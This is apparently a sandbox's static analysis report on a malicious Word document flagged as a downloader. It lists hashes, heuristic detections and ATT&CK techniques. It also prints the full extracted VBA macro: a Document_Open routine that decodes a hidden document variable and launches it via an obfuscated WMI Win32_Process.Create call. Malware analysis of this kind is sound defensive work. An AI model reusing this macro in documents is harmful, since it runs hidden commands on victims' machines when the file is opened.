Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6ee7328a0bead6d1…

MALICIOUS

Office (OOXML)

18.8 KB Created: 2020-07-13 20:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: a1a79e545530c6dea4a43be18bcb64db SHA-1: d2b8470d618d8222890bc8620d7408aed6e417a9 SHA-256: 6ee7328a0bead6d1e42ed74e022258529e7f789d9dfd9e625e76c450b501054c
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro uses GetObject and WMI (winmgmts) to create a new process, a common technique for downloading and executing additional malware. The ClamAV detection 'Doc.Downloader.Sagent-9376492-0' further supports its role as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3433 bytes
SHA-256: a4351e95c439e930254d7af4eb02e9ef518c0fff5ffa5e469751cf7eedcc4d0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit








                Private Sub OuttrOtting(ByVal Agentive As String)







                                                                Dim Zambac As Long: Dim Lethbridge() As Byte








                                                                        GoTo Verminousness





Rampingly:





                                                                Hypogynous StrConv(Lethbridge, 64, 1055)







                  Exit Sub
AbecedAry:






                                                                        






                For Zambac = 0 To UBound(Lethbridge)





               






                                                        Lethbridge(Zambac) = Abs(Lethbridge(Zambac) - 12)





                                                    




          Next
GoTo Rampingly






              Exit Sub
Verminousness:








                                                Lethbridge = StrConv(Agentive, 128, 1055)








               GoTo AbecedAry







                                                                            Exit Sub






                 End Sub







                                                                





                                                                            Sub Document_Open()






            






          







                                                                







                                                        






          Call ReinfiltRating






                 







                                        






                   End Sub





               Private Sub ReinfiltRating()






           Dim Agentive As String: Agentive = ActiveDocument.Variables("pe79cec43d6cb").Value








                                        OuttrOtting Agentive








                






              End Sub





                                                        Private Sub Hypogynous(ByVal OverhOnesty As String)






                                                                            Dim Fiber As String: Fiber = "."








               If OverhOnesty <> "" Then





                                                                        GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Fiber & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create OverhOnesty, Null, Null, 0
Else








                   MsgBox "Promted usr764 ."






                                                                        




                                                                    GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0






           End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: b46f62744006af270e186ff3a468623c494022ad53abc78dc0e6f010f30a63f0
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.